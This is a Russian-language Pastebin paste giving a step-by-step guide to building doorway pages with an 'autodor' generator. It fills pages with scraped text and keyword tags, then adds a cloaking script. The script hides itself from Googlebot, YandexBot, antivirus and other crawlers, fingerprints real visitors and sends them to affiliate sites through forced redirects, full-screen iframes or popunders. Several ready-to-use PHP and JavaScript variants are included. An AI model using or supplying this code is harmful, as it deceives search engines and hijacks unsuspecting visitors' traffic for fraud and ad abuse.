Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Первым делом прописать джиквери в шаблон хеадер, если он еще не прописан. Нужен для клоаки. <script src="//code.jquery.com/jquery.js"></script>
- 1. Тайтл страницы: <title><?php echo $bkey; ?> | Заголовок </title>
- 2. Дескрипшен страницы: <meta name="description" content="<?php echo $description; ?>">
- 3. Каноникал тег: <link rel="canonical" href="<?php echo $canonical; ?>" />
- 4. Хост (название домена, можно ставить в футер или в меню): <?php echo $host; ?>
- 5. Главный заголовок страницы (ключ): <h1><?php echo $bkey; ?></h1>
- 6. Собственно сам контент, напаршенный текст: <?php echo $content; ?>
- 7. Облако тегов, обычно идет сразу под контентом:
- <!--noindex--><?php
- if (@$_GET[$get_page] != '' AND $ufurl == '1') {
- $arrtags = explode(' ', $key);
- echo 'Tags: ';
- foreach ($arrtags as $tags) {
- echo '<a href="/tag/'.urlencode(UserFriendlyURLs(trim($tags))).'/">'.trim($tags).'</a>, ';
- }
- } elseif (@$_GET[$get_page] != '' AND $ufurl != '1') {
- $arrtags = explode(' ', $key);
- echo 'Tags: ';
- foreach ($arrtags as $tags) {
- echo '<a href="'.$script.'?'.$get_search.'='.urlencode(trim($tags)).'">'.trim($tags).'</a>, ';
- }
- } else {}
- ?><!--/noindex-->
- 8. Рандомный айфрем сайт, обычно идет под облаком тегов: <?php echo $iframe; ?>
- 9. Тематическое видео: <?php echo $video; ?>
- 10. Тематические фото: <?php echo $foto; ?>
- 11. Собстно меню: <?php echo $link; ?>
- 12. Рандомный текст пару предложений. Типа полезно. Вставлять можно куда угодно: <?php echo @$cnt[11]; ?>
- 13. Форма поиска:
- <!--noindex--><form role="form" action="<?php echo $script; ?>" method="get">
- <div class="input-group">
- <input type="text" name="<?php echo $get_search; ?>" class="form-control">
- <span class="input-group-btn">
- <button type="submit" class="btn btn-default"><span class="glyphicon glyphicon-search"> найти</span></button>
- </span>
- </div>
- </form><!--/noindex-->
- 14. В конец самый после шаблона - клоака:
- <?php
- $badbots1 = array('Googlebot','YandexBot','Java-Client','Antivirus','AhrefsBot','Baiduspider','bingbot','Mail.RU_Bot','MJ12bot','SemrushBot','Yahoo! Slurp','MSNBot');
- $stopbot = '';
- foreach ($badbots1 as $badbot) {
- if (mb_stripos($browser, $badbot, 0, 'utf-8')!== false) {
- $stopbot = '1';
- }
- }
- if ($stopbot != '1') {
- echo '<script type="text/javascript" src="/detect.js"></script>
- <script type="text/javascript" src="/advertisement.js"></script>
- <script type="text/javascript">
- if (document.getElementById("AdBlockTester") != undefined) {var adb = "0";} else {var adb = "1";}
- if (self != top){var iframe = "1";} else {var iframe = "0";}
- </script>
- <script type="text/javascript">
- var marker = "'.$testmarker.'";
- var method = "'.strip_tags($_SERVER['REQUEST_METHOD']).'";
- var key = "'.$key.'";
- $.post("/log.php", { iframe: iframe, marker: marker, adb: adb, method: method, referrer: document.referrer, key: key, title: document.title, url: location.href, language: navigator.language, cookietrue: navigator.cookieEnabled, width: screen.width, height: screen.height, widthdoc: $(window).width(), heightdoc: $(window).height(), browsername: detect.parse(navigator.userAgent).browser.name, osname: detect.parse(navigator.userAgent).os.name, device: detect.parse(navigator.userAgent).device.type, timezone: new Date().getTimezoneOffset()/60 },function(data){$("#msg").html(data);},"json");
- </script>';
- }
- ?>
- На этом все. Момент насчет клоаки. Надо запомнить, что клоака будет работать исправно, если соблюдены следующие условия:
- 1. В шаблоне дора (tpl.txt) в разделе header (в любом месте до тега body) подключена библиотека jquery. Это сделать легко, а именно вставляем строчку: <script src="//code.jquery.com/jquery.js"></script>
- 2. В шаблоне дора (tpl.txt) есть кусок кода: <span id="msg"></span> он как раз отвечает за срабатывание клоаки. Вставляем его обычно сразу после body тега.
- Эти два условия уже выполнены в стандартном шаблоне автодора по умолчанию.
- 3. В cloaking.php все разрулено-настроено правильно.
- Подробнее про третий пункт, клоаку. Вот базовый код того, что должно быть в файле cloaking.php:
- <?php
- if ($save_device == 'Mobile' OR $save_device == 'Tablet') {
- echo json_encode('<script language="JavaScript">
- window.location.href = "http://www.mobile-partnerka.com/tvoi_partnerskiy_kod"
- </script>');
- }
- else {
- echo json_encode('<iframe src="http://www.desktop-partnerka.com/tvoi_partnerskiy_kod" style="z-index: 9999; position: fixed; left:0px; top: 0px;" scrolling="yes" width="100%" frameborder="0" height="'.$save_heightdoc.'"></iframe><style type="text/css">body {overflow:hidden;}</style>');
- }
- Здесь видно, что код поделен на две части. Первая часть отвечает за слив мобайла, вторая часть за слив десктоп трафика. Причем мобайл сливается просто редиректом по вашей партнерской ссылке мобильной партнерки ( http://www.mobile-partnerka.com/tvoi_partnerskiy_kod - заменить на свою ссылку). Десктоп не редиректит, а оставаясь на вашем же доре, показывает контент другой страницы по вашей партнерской ссылке (iframe) ( http://www.desktop-partnerka.com/tvoi_partnerskiy_kod - заменить на свою).
- Это базовый пример работы клоаки.
- Если нужно чтобы редиректило как мобайл так и десктоп (без iframe), то
- <?php
- if ($save_device == 'Mobile' OR $save_device == 'Tablet') {
- echo json_encode('<script language="JavaScript">
- window.location.href = "http://www.mobile-partnerka.com/tvoi_partnerskiy_kod"
- </script>');
- }
- else {
- echo json_encode('<script language="JavaScript">window.location.href = "http://www.desktop-partnerka.com/tvoi_partnerskiy_kod"</script>');
- }
- Если нужно сливать ТОЛЬКО мобильный траф, а десктоп не трогать, то:
- <?php
- if ($save_device == 'Mobile' OR $save_device == 'Tablet') {
- echo json_encode('<script language="JavaScript">
- window.location.href = "http://www.mobile-partnerka.com/tvoi_partnerskiy_kod"
- </script>');
- }
- Если нужно сливать ТОЛЬКО десктоп траф, а мобайл не трогать, то:
- <?php
- if ($save_device == 'Mobile' OR $save_device == 'Tablet') {
- echo json_encode('');
- }
- else {
- echo json_encode('<script language="JavaScript">window.location.href = "http://www.desktop-partnerka.com/tvoi_partnerskiy_kod"</script>');
- }
- А если к примеру нужно подключить какой нибудь хитрый попандер через клоаку? Или же есть на мобильных партнерках опция показа баннера на весь экран на вашем доре, без слива по ссылке.. В таком случае нужно просто вставить свой полученный код из партнерки (обычно это <script type="text/javascript" здесь что то есть></script>) в нужное место клоаки (в мобайл блок или десктоп блок) между верхними кавычками echo json_encode('тут'); вот так к примеру:
- <?php
- if ($save_device == 'Mobile' OR $save_device == 'Tablet') {
- echo json_encode('<script type="text/javascript" здесь что то есть - код мобайл партнерки></script>');
- }
- else {
- echo json_encode('<script type="text/javascript" здесь что то есть - код десктоп попандера></script> ');
- }
- И наконец, если нужно выполнять тоже самое что на мобайле что на десктопе, то дублируем нашу ссылку/код в блоках мобайла и десктопа:
- <?php
- if ($save_device == 'Mobile' OR $save_device == 'Tablet') {
- echo json_encode('<script language="JavaScript">window.location.href = "http://www.universalnyaya-partnerka.com/tvoi_partnerskiy_kod"</script> ');
- }
- else {
- echo json_encode('<script language="JavaScript">window.location.href = "http://www.universalnyaya-partnerka.com/tvoi_partnerskiy_kod"</script>');
- }
- Вот так работает клоака в автодоре.
Advertisement
Add Comment
Please, Sign In to add comment